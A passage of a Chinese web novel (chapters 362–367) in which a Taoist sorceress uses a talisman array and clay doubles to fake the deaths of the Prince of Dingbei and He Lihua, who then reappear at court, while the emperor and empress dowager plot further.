“何将军!我们陪您同去!” 顷刻间,何钦及他的手下尽数死在了庭院中,鄞玄见此也终于长舒一口气。 而就在这时,庭院中立着的禁军队长,忽然眼神一变,持剑的手腕一转竟向何立骅刺去! “不要!” 第362章 362.诛杀定北王 “不要!” 太夫人猛地跃身而起,推开何立骅,迎着那长剑而去。 又闻噗嗤一声,长剑贯穿了太夫人的身子,她那苍老羸弱的身子定了片刻,便颓然歪倒在地。 “祖母!”何立骅焦急大喊一声扑了过去,半抱起太夫人痛哭流涕,“祖母…您不要走…别丢下孙儿啊……” 太夫人撑着一口气,缓缓抬手抚上何立骅的脸颊,嘴角却微微绽放出一抹得偿所愿的笑。 “好孩子…果然没让祖母失望…祖母先去陪你祖父和你爹……你与宏彦玉卿,定要好好活下去……” 最后几个尾音落下,太夫人抬起的手指颓然落下,同时安详地闭上双眼,永远沉睡在了何立骅的怀抱中。 “祖母?祖母!”何立骅抱着太夫人的尸首声泪俱下。 一日之内,自己的父亲与祖母皆死在自己面前,且都是以如此惨烈的方式。 何立骅心如刀绞,整个人都乱了,整个世界也仿佛崩塌在他面前。 而就在这时,禁军队长的剑却又朝着他疾速杀去。 鄞玄迅速倾身帮何立骅挡开那一剑,几招便将队长打得后退几步。 而后立在何立骅身前厉声道:“你们这是做甚!” 禁军队长却丝毫不慌,反而理直气壮道:“皇上有旨,一旦查到证物,便将罪人何钦一家尽数诛杀。并且…… 定北王窝藏何钦的儿子和孙子,恐与何钦有共同逆谋之嫌。命我等在此将定北王一并诛杀!” 鄞玄与何立骅骇然一震,“什么!皇上何时下过这种圣旨?尔等休要信口雌黄!” “我等接到的是皇上的口谕。”禁军队长森然一笑道:“王爷,对不住了。” 而后突然面色一变,厉声向庭院中的禁军命令道:“禁军听令!即刻诛杀罪臣鄞玄与何立骅!不得有误!” 禁军齐声高呼,“是!”随后便再次举剑向鄞玄与何立骅冲来。 何立骅猛地清醒过来,站起身与鄞玄立在一处,不可思议道:“这是怎么回事!” 鄞玄胸口剧烈起伏着,他想过皇上与太后容不下他,一心想要除掉他,但他没想到他们竟会用如此直白的方式,在何府就迫不及待想杀了他。 但他是不会就此坐以待毙的。他还要从此处走出去,亲自当面去问问皇上和太后,为何如此容不下自己,非要要他的命! 思及此,鄞玄握紧了手中的剑柄,紧盯着向他们冲过来的禁军,对何立骅道: “皇上在命我们带禁军捉拿何钦时,就已有了这打算。莫怕,怀瑾跟菀菀会来救我们的!” 未及说完,鄞玄已持剑与冲过来的一名禁军厮杀在一起。 何立骅也忙不迭捡起地上散落的一把剑,迎着杀过来的禁军挥了上去。 整个庭院中大约还有十来名禁军,而更多的禁军士兵,还在不断往何府内奔来。 饶使鄞玄武艺高强,但经过方才与何钦的缠斗,体力已流失大半。何立骅又武艺不精,根本招架不住如此多禁军,还需鄞玄从旁营救,更令鄞玄自顾不暇。 不到一炷香的功夫,二人已体力不支,而更多的禁军还在源源不断往庭院内冲。 “王爷!我撑不住了!慕侯爷和夫人真的会来吗?” 何立骅躲过一名禁军的大刀,再奋力一剑砍在对方的后背上,才为自己争取到片刻喘息的时间。 鄞玄正被两名禁军包抄,他挡开一人的剑后,再迅速蹲身长腿一伸铲翻另一人,同时向何立骅回道:“会的!他们一定会来!” 二人对话的同时,何立骅一个不注意,便被一名禁军从后方偷袭,一刀向他的后颈砍去。 何立骅感觉到有阴风朝自己袭来,即刻转身,却还是躲闪不及,被砍到上臂后方。 “噢!”何立骅吃痛哀嚎一声,捂住手臂往后退去。 但后方又有一名禁军举剑向他挥来,此刻的他再想躲已躲不开了! 何立骅心中暗叫不好,下意识地闭上双眼,等待着利剑挥在自己身上那一刻。 可下一瞬,预想中的疼痛迟迟未到,一道兵器碰撞的铛铛声,却在他耳边猝然响起。 何立骅蓦然睁开眼,感觉自己被人拉住衣襟用力往旁边一扯,又躲过了另一道攻击。 何立骅跌倒在地抬头定睛一看,紧接着便如见到救星般兴奋大喊,“侯爷!您终于来了!” 但见着一身墨蓝劲装的慕怀瑾,手握长剑两招便将方才那两名禁军砍倒在地。 骄阳恰好从乌云后钻了出来,金灿灿的阳光洒在他的身上,令他周身仿佛被镀上一层金边,如战神般不可逼视。 听到慕怀瑾的名字,鄞玄侧头望去,果然看到慕怀瑾轻松击退他们附近的几名禁军,向自己快步而来。 “怀瑾,你总算来了!”看到慕怀瑾出现,鄞玄总算松了一口气。 慕怀瑾收剑向何立骅伸出手,将他从地上拉起,而后向他们二人道:“方才帮菀菀布置阵法,稍稍耽误了些,让你们久等了。” 禁军队长见永嘉侯突然出现,又出手帮他们二人,顿时愤怒又兴奋。 “永嘉侯?您也是来帮着这两名罪人助纣为虐吗?” 慕怀瑾眼风微转向禁军队长望去,面容一派冷峻肃然,“何人助纣为虐,你心里清楚。不过也无所谓了,反正待会儿你们什么都不会记得了。” “你什么意思!”禁军队长瞳孔骤然一缩。 慕怀瑾则抬眼向屋顶上方望去,一派胜券在握之态,“菀菀可准备好了?开始吧!” 庭院中剩下的禁军皆跟着朝屋顶望去,但见原本空无一物的屋顶,突然出现一位白衣女子。 这位女子面若银盘,颊似桃花,有着莲花般的清雅高洁,又有茉莉般的温柔沉静。 她轻轻扬唇一笑,便令周遭的一切黯然失色。 而后,只见她微微抬起手臂,整个人便轻盈地腾空而起。 紧接着掷出一道紫色符纸,口中默念咒语,那道符纸便直直朝空中飘了上去。 下一刻,金色符文竟从符纸上飞了出来,恍若金印映照在空中,不断扩大再扩大,直至将整座何府乃至何府周围笼罩在其中。 第363章 336.泥人变真人 下一刻,金色符文竟从符纸上飞了出来,恍若金印映照在空中,不断扩大再扩大,直至将整座何府乃至何府周围笼罩在其中。 此间抬头望向那道金色符文的二三十名禁军,顷刻间竟被齐齐定在原地,仰着头一动不动,仿佛被抽去了魂魄。 将禁军尽数定住后,徐菀才睁开眼从空中缓缓飘落而下。 她纯白的衣裙灌满了风,如一朵盛开的白莲,又似九天下凡的神女,充满神性地落在了慕怀瑾等人身边。 “让各位久等了。”徐菀说着,从容一笑。 鄞玄与何立骅望着她无不惊异万分,尤其是何立骅,望着徐菀就像见到了神仙,满眼皆是钦佩与惊艳。 “慕夫人您来的正是时候!”何立骅兴奋道。 鄞玄则是暗暗松了口气,望着她笑道:“就知道你们一定会来。” 随后他向庭院中的禁军望了一眼,问道:“你将这些禁军都定住了?” “对,”徐菀解释道:“这个阵法可将笼罩在阵法下的所有人都禁锢住。还要多谢怀瑾方才帮忙布阵呢。” 徐菀说着,与慕怀瑾相视一笑。 原来,在他们得知皇上派了鄞玄与何立骅前去捉拿何钦时,便猜到鄞玄与何立骅此去凶多吉少。 于是,她与慕怀瑾即刻商议营救策略。 虽然皇上铁了心要杀鄞玄,但鄞玄绝不能冲动之下杀光禁军,再一路杀到皇宫与皇上撕破脸。 如此便中了皇上的激将法,被逼背上谋朝篡位的死罪。 那么他们该如何自救呢? 慕怀瑾想到一个法子。 既然鄞玄此前并未犯错,那么皇上在命禁军诛杀他时,必然不会留有手谕或圣旨,最多只会有口谕。 等鄞玄死后,再给他安几项罪名,便可将此事揭过。 所以在未等到禁军已诛杀鄞玄的消息之前,皇上便无法将他的“罪名”公之于众。 而鄞玄想要活命,只有在禁军向皇上禀告鄞玄已死之后,和皇上公布他的“罪名”之前,择一皇上与众臣都在的场合,突然出现在皇上面前,与皇上谈笑风生。 如此才能让皇上无法公布他的“罪名”,并且暂时无法再找到机会杀鄞玄了。 于是,徐菀忆起有一个阵法能够实现这策略,便与慕怀瑾一同来到何府附近,让慕怀瑾跟朱雀白虎在何府周边每隔九尺埋下一道灵符,直至将其包围。 徐菀再在何府内,用紫符催动阵法,便可将灵符阵内的所有人都禁锢住,再行下一步计策。 慕徐二人解释完后,何立骅仍旧听得似懂非懂。 “如此说来,我们现下便可走了是吗?待明日早朝时再在皇上与众臣面前华丽现身?” 何立骅说着,当啷一声扔下剑,拍拍袍子便想走。 徐菀连忙出声叫住他,“等等!你不想知道我如何让禁军向皇上禀报你们死了吗?” 何立骅一愣,侧头望了一眼鄞玄和慕怀瑾。 慕怀瑾略略促狭一笑,“留下来看完好戏再走。” 何立骅这才恍然大悟,停在原地向徐菀恭维道:“徐观主,徐天师,请让我等开开眼吧!” 徐菀抿唇一笑,从小荷包中取出两颗拇指大的泥蛋蛋。 “这是何物?”鄞玄不解地问。 “你们各自将血滴几滴在这泥丸上。”徐菀向他们道。 二人已见识了多次徐菀的高超道法,因而对她的吩咐言听计从,毫不犹豫用剑划破手臂,各自将血滴在一枚泥丸上。 随后,徐菀对着两颗泥丸默念咒语,再将它们往空中一抛。 接下来发生的一幕,令鄞玄和何立骅瞠目结舌。 只见那两颗泥丸在空中便开始变换形态,渐渐形成人形。再继续变下去,竟慢慢变成了他们两人的身形和面容。 最后,这两个泥人落地时,无论从身形长相,还是衣着兵器,甚至是身上受的伤,都与他们二人如出一辙。 “老天爷啊!这...这是方才那颗泥丸?”何立骅惊得瞪大了眼,绕着自己的泥人走了一圈,还伸出手指戳了戳泥人的脸,惊喜兴奋道:“它...它的脸是软的!跟真人的皮囊触感无二!甚至还是热的!” 鄞玄也拉起自己泥人的手捏了捏,确实如何立骅所说,这泥人与他们简直比孪生兄弟还像。 若不是亲眼看着它们是由泥丸变成,他们真会以为它们是两个真人。 “确实。若不是本尊在此,我都会将它们误认成阿迦了。”慕怀瑾钦佩道。 鄞玄收回目光望向徐菀,“接下来该如何?让禁军将这两个泥人杀了吗?” “对。” 徐菀点点头,抬手示意他们后退,再从小荷包中取出一枚银色符纸,将其往空中一抛,随后迅速双手结印默念咒语。 只见一道金光从她的指尖射出,击中那道符纸。银色符纸绽放出无数道银光,照耀在何府每一名禁军身上。 下一瞬,那些禁军又仿佛回魂了一般动了起来。 但这些禁军好像忘记了刚才慕怀瑾出现,看到那两个泥人后,便误以为是鄞玄和何立骅,朝他们继续砍杀而来。 完全看不见站在墙根处的另一个鄞玄何立骅,与慕徐两人。 他们四人便静静望着,两个泥人在二十多名禁军的围攻下,最终惨遭杀害。 而真正的鄞玄与何立骅在一旁眼睁睁看着另一个自己被杀害,也有种说不出的怪异之感。 看到该杀之人皆死在了禁军们的刀下,禁军队长喜不自胜,立即命令手下将何钦,何立骅与鄞玄的尸首抬走,他要去向皇上请功。 短短一盏茶功夫,满是横尸的何府便被禁军清理干净。 禁军队长满意地带着几人的尸首回去领功了。 待所有禁军撤走,何立骅与鄞玄才松了一口气,向徐莞夸赞道: “慕夫人真是神通广大,用那两个泥人便骗过了那些禁军。神,真是神啊!” 慕怀瑾与鄞玄都不禁淡笑起来,只有徐莞不以为意,“何大人谬赞了。此等法术不过是孩童戏法而已。真正威力巨大的咒法我还一直没机会用呢。” 第364章 364.太后的心事 “何大人谬赞了。此等法术不过是孩童戏法而已。真正威力巨大的咒法我还一直没机会用呢。” 几人听完不由得一愣,何立骅蹙眉害怕道:“还是希望慕夫人您别有机会用吧。” “哈哈哈哈哈……” 一阵畅朗的笑声后,慕怀瑾向他们二人意味深长道:“你们快回去吧。今晚在定北王府休息一晚,明日早朝时,给皇上一个惊喜。” === 且说另一边,禁军队长带着何钦等人已死的消息赶回皇宫,被传唤进御书房亲自向皇上禀告。 “何钦真的死了?鄞玄跟何立骅也死了?” “回皇上,千真万确!何钦是由他儿子一箭射死的。何钦死后,定北王与何立骅也在禁军的围攻下一一身亡。他们的尸首现下就在宫里放着呢。皇上随时可去查看。” 禁军队长跪在景逸面前恭敬道。 听到此消息,景逸惊喜又难以置信。他不敢相信在母后口中凶如猛虎的二人,竟就这样被自己的禁军杀了。 哈哈哈……如此,往后就无人再能威胁到朕的帝位了! 景逸重赏了这位禁军队长,随后便立即去往太后寝宫将此消息告诉太后。 太后听后亦是又惊又喜,不过太后比景逸更严谨,要求亲自去看三人的尸首。 于是,在禁军队长的带领下,皇上与太后皆去往皇宫内一处无人的偏院,在那里亲眼看到了何钦,及“鄞玄何立骅”的尸首。 那两个泥人变成的人,因吸取了鄞玄与何立骅的血,因而也能流出人血,骗过了禁军。 而太后仅看了一眼便不敢再看,从面容上大致能看出确实是他们三人,她便心安了。 从偏院出来,景逸搀扶着太后,在宫人们的陪同下慢慢往慈宁宫而去。 路上,太后无意中抬眼向空中望去。 但见高远的天空中,那轮骄阳正被飘过的乌云遮去一半,金色阳光为乌云镀上一层金边。 渐渐的,乌云将骄阳完全遮蔽,四周的天色也暗了下来,但散射出的光线依然亮眼。 太后不由得微微眯起眼,望着那阴云蔽日的阴沉天空,长长吐出一口气,释然地笑了。 如今何钦与鄞玄都已除掉,仅剩下一人还能会威胁到我与皇儿的统治。 且他与鄞玄从小交好。鄞玄一死,他必定会有所动作。 接下来该想个法子如何除掉他了。 姐姐,对不起,又要让你的儿子再死一次了。 === 次日一早,盛国朝廷各路大臣皆按时入宫,行早朝之宜。 在前往早朝大殿的路上,群臣皆在小声议论着昨日京城中的大事。 “昨日全城封锁之事你们可有听说?到底发生了何事你们可知晓?” 一名大臣提及了此事,周围几名官员即刻凑了过来。 “我听说有上百禁军包围了何钦将军的府邸。难道是与何将军有关?”另一名年轻官员提出了自己的猜测。 “定然是了。何钦执掌兵权多年,兵部乃至朝廷各处皆是他的眼线。 近些年他又如此嚣张跋扈,甚至将皇上与太后都不放在眼里。如此行事,被皇上铲除,实乃早晚的事儿。”一名须发花白的老臣侃侃谈论着自己的看法。 率先询问的那名蓝袍大臣道:“依您之意,何钦已被禁军捉拿?可何钦不是还在东部军营吗?如何能在京城捉拿到他?” 旁侧另一名绿袍大臣急急道:“不是,你们没派人去打探吗?昨日晨起至午后,京城各处全是何钦的手下! 直到禁军包围了何府,那些何钦的手下才赶回去帮忙。两方在府内发生激战。何钦啊……凶多吉少!” 绿袍大臣的话一出,立即引得周围几位大臣一片哗然。 “什么!大人的意思是,何钦昨日就在何府?已被禁军杀了?” “极有可能!” “王大人说的是!我听人说昨日傍晚禁军从何府抬出来甚多尸首呢!其中一具好似就是何钦的尸首!” 几名官员闻之皆倏然变色,发出连连抽气之声。 此时又一位紫袍官员,压低了声音小心翼翼道:“听说,昨日还有人看到,定北王的尸首被从何府抬出来了...” “啊!什么!” “定北王!?” “此话当真!?” 此话如水进油锅,霎时激起一片哗然,引得附近的其他官员频频侧目。 紫袍官员忙叫他们小声点,“小声点小声点!下官只是听说,做不得数。各位大人可别乱传啊!” 就这样谈着聊着,诸位上朝的大臣次第来到大殿之内按位次列好,关于昨日京城之事的谣言,已在众臣之间满天飞了。 待群臣列好,李德全率先行至龙椅的台阶之下,向众臣宣道:“皇上驾到!” 伴着太监尖长的嗓音,头顶华盖的年轻帝王,在一众宫人的簇拥下,登上高台在龙椅上坐定。 众臣齐齐下跪高呼,“臣等参见皇上!皇上万岁万岁万万岁!” “众卿平身。”景逸朗声道。 众臣闻言皆陆陆续续起身,有些大臣稍稍抬头望去,见今日的皇上精神爽利,满面红光,一看便是心情大好。 这更不由得令众臣相信,皇上真的杀了何钦。 待所有大臣起身站好,景逸按耐着激动宣布:“众爱卿,今日有件大事要知会各位爱卿。是对我大盛江山利好的大事。” 说罢,他向李德全使了个眼色,“李德全。” 司礼监掌印太监李德全即刻上前一步,展开手中圣旨卷轴,向众大臣宣读道: “奉天承运,皇帝召曰。一品都督同知何钦,于惠和二年派往甘州赈灾期间,私吞赈灾款高达五十余万两。 被嘉礼县县令关茂林发现后,派魏志鸿将关茂林一家九口杀害,又放火烧毁关宅以图毁尸灭迹。后火势失控,引起整个嘉礼县大火,致使二百八十余人在火灾中身亡。 回京后何钦又动用关系,指使当年科举考试的主考官娄贲,为魏志鸿掉包试卷助其成为探花。 更甚者,何钦为阻止举报之人,未经传召便私自带兵回京。 在禁军入何府搜查到赃款时不仅拒不认罪,还妄图指挥兵力攻入皇宫。已于昨日被禁军当场正法! 其从东部带来的五百士兵,也皆在京城外东面被禁军尽数击杀!” 第365章 365.定北王死而复活 听到何钦昨日已被当场正法,大殿内的群臣皆是一震,互相偏头向旁侧的大臣望去,心照不宣地交换一个“果然如此”的眼神。 随后,众臣齐齐举起手中言板高呼,“陛下英明!” 谁料,圣旨还未宣读完,李德全向群臣瞥了一眼,继续宣读道: “经密报证实,兵部左侍郎江荣,兵部职方司郎中袁裴,吏部文选司郎中康桓,以及户部左侍郎郭宁,皆为罪人何钦之同党! 今当殿将其捉拿,褫夺官位,抄其家产,择日处斩! 另朝中与东部军营各部,有何钦同党二十八名,皆削去官爵,贬为庶人,连同族人一同抄家流放!” 话音刚落,一队全副武装的禁军猝然闯入大殿。 伴着金甲哗哗声,他们两两分散开,闯入群臣之间,将圣旨上提及之臣一一捉拿。 殿内大臣还未反应过来,身边之人便突然被禁军带走,吓得他们当场腿软,惊呼着险些栽倒在地。 而那些被带走的大臣,皆挣扎呼喊着: “皇上!臣冤枉啊!” “请皇上明查!” “求皇上饶命!” 可禁军们未有一丝一毫的留情,一个个面容肃然,动作强硬地将那些大臣往外拖。 一时间,大殿内惊呼声,叫冤声,与抽气声响成一片,人人自危。 但不过一盏茶的功夫,二十多名大臣便被尽数拖出了大殿。 不消片刻,大殿内便静了下来,剩下的大臣皆屏气凝神,暗暗战栗,衣衫都被冷汗浸透,但却未有一人敢动,大殿内静的连根针掉在地上都能听得见。 坐在龙椅上的年轻帝王,满意地望着下方战战兢兢的群臣,嘴角露出一抹暗爽的笑。 坐上这龙椅的十几年来,自己何曾体验过此种将所有人的命都握在手心的感觉。 原来这就是作为帝王号令天下的感觉,真爽! 待众人皆平静下来后,景逸再次开口,准备将鄞玄与何立骅之死以及他们的罪名公之于众。 “众爱卿,相信你们还好奇,朕是如何知晓何钦犯罪之事的,又是如何将其诛杀的。 朕今日便告诉你们,是何钦的儿子,通政使司司正何立骅,亲自进宫向朕告发他爹的。 朕便命何立骅与定北王率禁军前往何府捉拿何钦。随后,他们便联手击杀了何钦。但是他们……” 正说到此处,一名宦官忽然从殿外快步进入殿中,而后跪倒在大殿中央,向景逸通报道: “陛下,定北王与通政使司正何立骅在殿外求见!” 龙椅上的景逸顿时懵了,即将出口的话卡在了喉咙里。 他怔怔地望着那名太监,不可思议道:“你说什么?” 那名宦官显然还不知道昨日定北王与何立骅已死的事,老老实实将方才的话又重复了一遍。 “回陛下,定北王与通政使司正何立骅在殿外求见。” 景逸的脑中一片混乱,不知这是怎么一回事,亦不知该如何反应。 不等他再有反应,两个人影已从殿外走了进来。 为首的王侯高大威猛,行径间步带劲风,霸气逼人。 跟在他后方略带书卷气的男子,亦昂首挺胸,一副泰然自若之态。 二人面上无丝毫惶恐不安,而是大大方方走了进来。 群臣侧头望去,正是定北王鄞玄,与何钦之子何立骅。 景逸望见雄赳赳气昂昂走入大殿的鄞玄与何立骅二人,蓦地前倾身子瞪大双眼,双手死死抓在龙椅把手上,根本不敢相信自己看到了什么。 这两个人不是死了吗? 昨日他还亲眼见到了他们的尸首? 尸首都摆在那里,他们还能死而复活? 不可能...绝对不可能! 鄞玄与何立骅行至高台之下,向景逸下跪行礼。 “臣,参见皇上!” 二人跪拜后,众臣等了良久都没听到皇上的回应,遂偷偷抬眼向皇上望去。 只见龙椅上的景逸脸色煞白,如同见了鬼一般望着二人,面露恐慌之色,“你…你们为何……” 鄞玄抬起头,望着景逸意味深长地笑道:“臣特来恭喜陛下铲除奸佞。另外…何大人不好意思来讨赏,臣特带着何大人一同前来领赏。” 群臣闻言才想起,皇上方才说正是何钦之子何立骅告发的他爹,之后定北王与何立骅联手将其诛杀。 所以定北王与何立骅今日来此领赏,也不无道理。 只是皇上为何见了他们会如此惊惶?定北王与何立骅昨日到底发生了何事? 掌印太监李德全昨日也陪着皇上与太后,去看了定北王和何立骅的尸首。 此时又见他们二人活生生出现在大殿内,李德全亦觉不可思议。 但由于先前见识过鬼怪之事,所以李德全略一思索,便猜到他们定是用了何种法术令自己假死,事后再活过来。 不过李德全在见到鄞玄活着出现的那一刻,不由得松了口气。若是定北王死了,那么皇上与太后很快就该对付那个孩子了。 龙椅上的景逸也强迫自己冷静下来,略微一想便明白了他们此举为何。 无论他们是如何死而复生的,如今鄞玄与何立骅确实是活着出现在了大殿之上,那么自己便无理由空口定他们的罪,也不能当着群臣的面,命禁军将他们就地正法。 难道他们已料定了朕不敢动他们,才会选在此时高调现身? 岂有此理! 景逸心下气恼,但的确如慕怀瑾所料,自己确实不敢动他们,只得装作什么都不知道,与他们表演君臣之仪。 景逸深吸几口气,慢慢调整好表情,但语气还是略有生硬。 “王兄,何爱卿,平身。” 二人起身后,景逸又道:“昨日多亏了你们,禁军才得以顺利诛杀何钦,是该当赏。说吧,你们想要何赏赐?” 鄞玄望了一眼何立骅,示意他先说。 何立骅一掀袍脚跪了下去,语声恳切道:“皇上,微臣自知家父罪孽滔天,不敢求赏。微臣只斗胆求皇上饶我妻儿不死。臣愿自请致仕,降为庶人,携妻儿回乡,再不入仕!” 景逸正愁斩草不能除根,此间何立骅提出要辞官,正中景逸下怀。 第366章 366.鄞玄的请求 景逸正愁斩草不能除根,此间何立骅提出要辞官,正中景逸下怀。 何家三代单传?只要削去何立骅的官爵,没收家产,贬为庶民,何家便再无能耐回天了。 如此,饶何立骅和他的妻儿一命,也不失为一种彰显朕慈悲大度的表现。 思及此,景逸坐在龙椅上一挥衣袖,“何爱卿深明大义,主动提供证据大义灭亲,又亲手诛杀何贼,理当行赏。 但你若是执意要致仕还乡,朕便也准了。朕给你五日时间为何府中人善后。五日之后便携妻儿离开京城。可好?” 何立骅长长地呼出一口气,伏下身磕头长拜,“谢皇上大恩大德!愿皇上万岁!愿大盛千秋万代!” 能如此顺利地全身而退,离开京城这个权力漩涡,对何立骅来说已是万幸了。 大殿内群臣亦随他一同高呼,“皇上万岁!大盛江山千秋万代!” 见此情景,景逸的心情好转了不少。这时,他再将目光转向鄞玄。 “王兄,你又想讨何赏赐,尽管开口。” 鄞玄的语气略略松快一些,拱手道:“臣不敢,能为陛下分忧,已是臣之荣幸。唯愿陛下准许臣时常前去皇陵,祭拜先帝与良太妃。” 听到此请求,景逸有些意外,“朕还以为王兄会求良田宅斗,或是贵女婚事。没成想王兄竟会提此要求。” 鄞玄道:“良田宅斗皆乃身外之物,够用就好,无需再求。臣在先帝与良太妃在世时,未有多少时日陪伴在他们身侧。如今想多去看看他们,以全自己的孝感之心。” 景逸觉得这个要求没什么问题,便即刻应允,“好,朕允了!” 随后话锋一转,又道:“不过王兄,你也该考虑自己的终身大事了。哪有王公贵族已过而立还没个一儿半女的? 你若是没有合意的贵女做妻,就先挑一两位喜爱的女子做妾室也好。整日在府中对着一群男人有什么意思。” 景逸说罢,自己都颇觉好笑。台下群臣见皇上笑了,便也跟着低低附喝笑了起来。 毕竟京城谁人不知,定北王鄞玄已年过三十,身边却连一个女人都没有。与他交往最密的,也就是永嘉侯慕怀瑾,跟刑部侍郎周祎仁了。 甚至都有人怀疑,定北王在军营待久了,对女人都没兴趣了,开始对男人有兴趣了。 而在这片带着讥讽意味的嗤笑声中,鄞玄袖中的双手暗暗握紧了拳。 任何一位男子,听到这种对自己婚事及男性气概的调侃,心中都不会乐意。 但此时带头调侃自己的,是一朝天子。鄞玄万不能一时头昏脑热,就做出顶撞天子之事。 因此,他只好强忍了下来,面上依旧是一派沉稳肃然之态。 “臣多谢皇上关心。但终身大事还需一些姻缘。待姻缘到时,臣自然会成婚。” 景逸听后点点头,“好。那朕便不为你擅作主张了。就希望王兄你的姻缘尽快到来。” “多谢皇上!” === 今日下朝后,何立骅与鄞玄都暗暗松了一口气。 果真如慕怀瑾所料,在早朝之时当着众臣的面突然出现,皇上不敢再降罪于他们。 因而二人方一回定北王府,望见正厅中坐着的那对璧人时,皆感激不已。 “侯爷,慕夫人!”何立骅兴高采烈快步来到他们身前,双膝一弯便要向他们跪下去。 “何大人快起,不必如此。”慕怀瑾扶住他的手臂将其扶起。 等在一旁的宋玉卿跟何宏彦见他们回来,也向何立骅跑了过去。 “爹爹!”何宏彦一头扑进何立骅怀中。宋玉卿来到他身旁,眸光闪动问道:“立骅,皇上怎么说?可愿放过我们?” 何立骅将儿子搂进怀中,抬首向宋玉卿激动地点头,“嗯!” 宋玉卿闻言,激动得眼眶立时红了,情不自禁投入何立骅的怀抱,一家三口紧紧抱在一起。 “太好了立骅...太好了...” 鄞玄随后踱步而来,望着慕怀瑾笑道:“怀瑾果真料事如神。皇上没有为难我们,也没有问出我们为何没死这种问题,全当昨日之事未发生一般。 不过我们刚踏入大殿时,皇上望见我们时的表情,可比见到鬼还恐怖。要是待会儿皇上去看我与何大人的‘尸首’,发现变成了两个泥人,不知会是何种表情。” “哈哈哈...”正厅中响起一片的畅快的笑声。 笑声过后,鄞玄望向慕怀瑾身边的徐菀,“这都要多谢菀菀。” 说到此处,何立骅与宋玉卿回过神来,拉着何宏彦一同跪在了徐菀面前。 “慕夫人的大恩大德,何某感激不尽,请受我们全家一拜!” 话毕,三人齐齐向徐菀深深一磕头。徐菀哪里受过如此大礼,连忙让他们起来。 “何大人,你们快起来。是你命不该绝,我只是顺势而为而已。” 三人起身后,何立骅道:“我如今已不是大人了。皇上准许我辞官致仕,带着妻儿回乡。给我五日期限善后何家事宜。五日后,我便要携玉卿跟宏彦离京了。” 何立骅顿了顿,又满怀希望地望向徐菀,“如今我爹已死,关家的仇也算是报了。不知夫人可否让关戎放过我儿?您再为我儿续上性命呢?” 徐菀道:“大人放心,明晚我便施法将关戎请出来,然后就为令公子施法改命。相信关戎知道那个消息后,会同意放过令公子的。” 何立骅与宋玉卿相视一眼,再次向徐菀重重一拜,“谢夫人!” === 且说下朝后,景逸回到御书房,便差人将昨日带兵的禁军队长传了过来一番质问。 禁军队长也懵了。昨日明明被他亲手杀掉的鄞玄与何立骅,怎可能没死? 景逸又让禁军队长带路,与他一同去往放置二人尸体的偏殿。 众人走进去一看,原本躺在草席上的三具尸首,竟只剩下了何钦的尸首。 原先鄞玄与何立骅的尸首处,只剩下了两个沾满血的小泥人! “皇…皇上…这…昨日他们的尸首还放在此处,陛下与太后娘娘还都亲眼确认过。属下真不知他们为何会变成泥人啊陛下!” 第367章 367.不能让永嘉侯有子嗣 禁军队长望见那两个小泥人,吓得跪在景逸脚边,连连为自己辩解求饶。 景逸望着那两个小泥人,亦惊异异常。 不过片刻之后他便冷静下来,想明白了此事为何。 这两个小泥人显而易见是被人用道门之术幻化成了鄞玄与何立骅的模样,如此才得以骗过禁军,来个偷梁换柱。 而鄞玄又是从哪儿请的道士?他不似是那种会相信道门玄术之人啊。 不过转念一想,景逸忽然想起一个人来。 鄞玄不是与慕怀瑾交往甚密吗? 记得去年宫宴时,慕怀瑾带着他的小娇媳赴宴。 大长公主还专门介绍了他的那位夫人精通道门之术。 难道鄞玄找的就是慕怀瑾和他夫人帮忙? 一定是这样!如此,一切都能解释得通了! 想到此处,景逸暗叹一声。 鄞玄与慕怀瑾联手,已不好对付。如今再加一个懂道术的夫人,想杀他们更难了。 看来往后要请卫大人想办法对付他们了。 在景逸思索之时,禁军队长仍旧战战兢兢跪在地上,大气都不敢出。 等了半天没听到动静,禁军队长小心翼翼抬起头唤了声,“皇上?” 景逸回过神来,“哦。此事确实不怪你。” 禁军队长一听,喜出望外,“皇上明鉴!求皇上再给属下一次机会,属下定当不负陛下厚望,将定北王与何立骅彻底诛杀!” 话毕,景逸却无甚反应,而是语气冷淡道:“机会难得。他们不是你说能杀就能杀的。此次未能将他们诛杀,的确不是你的失误,但是……” 景逸忽而话锋一转,垂眸望向他,“但是他们没死,你却活着。若是你和你手下剩下的那些禁军一个不小心将昨日之事说了出去,朕岂不是成了滥杀无辜的罪人?” 禁军队长:“!!!”什么意思?皇上想杀我! “皇上饶命!属下什么都不会说!我发誓!属下一个字都不会说出去!”禁军队长忙不迭磕头。 景逸却是向李德全使了个眼色,随后便转身向殿外走去,最后轻飘飘留下一句话,“放心上路吧。路上你不会孤单,因为有你那四十一个弟兄陪着你……” “皇上!不要啊!皇上!啊……” 景逸离开这处偏远的宫殿,身后宫门关闭,禁军队长的叫声响了没片刻,便一声惨叫再无声响。 景逸面上无一丝一毫的情绪波动,在大批宫人的簇拥下,向太后寝宫而去。 到了太后寝宫,景逸将今日朝堂之事告知太后,太后也同他当时一般惊骇又难以置信。 “什么!鄞玄没死!” “是的母后。儿臣方才刚从放置他们尸首的偏殿过来,亲眼见到他们的尸首竟变成了两个泥人。 儿臣思来想去,应是慕怀瑾身边那位会道术的夫人,帮鄞玄跟何立骅用泥人骗过了禁军。” “慕怀瑾的夫人?”太后细细思忖片刻,蓦地眼眸一亮望向景逸,“哀家想起来了,就是徐家那个被送去清凉山的女儿,去年宫宴时,你姑母还特意介绍她来着。” “对,就是她!” 说到此处,太后沉静了下来,凤眸微转再次思索起来。 鄞玄居然没死,还与慕怀瑾联手,如今他们又有那个会道术的小姑娘相助,会不会萌生就此推翻我儿的想法? “皇儿,他们在早朝上现身后,说什么了吗?”太后问。 景逸摇摇头,“他们并未说出昨日禁军要诛杀他们之事。儿臣便也当做什么都未发生,言他们诛杀何贼有功,问他们要何奖赏。 何立骅说想辞官回乡,永不入仕。鄞玄则要求今后可自由出入皇陵,祭拜先帝与良太妃。儿臣允了。” “他要去皇陵祭拜先帝?”太后语调微微一变,“他真这么说的?” 景逸一愣,对太后的问题有些摸不着头脑,“对。” “好,皇儿,你记得在皇陵安插几个眼线,盯着鄞玄去皇陵都做了什么,跟何人接触过,有没有去祭拜孝任皇后。收到什么消息及时向哀家汇报。” 景逸有些疑惑太后为何要这么做,但他不敢询问,只顺从答应,“是,母后。” 交代完后,太后才总算轻舒一口气,抬手让景逸搀扶着她,在一旁的软榻上坐下。 二人坐下后,景逸为太后递上一杯茶。太后接过喝了两口,方才紧张惊恐的情绪渐渐平复。 “皇儿啊。”太后唤道。 “儿臣在。” 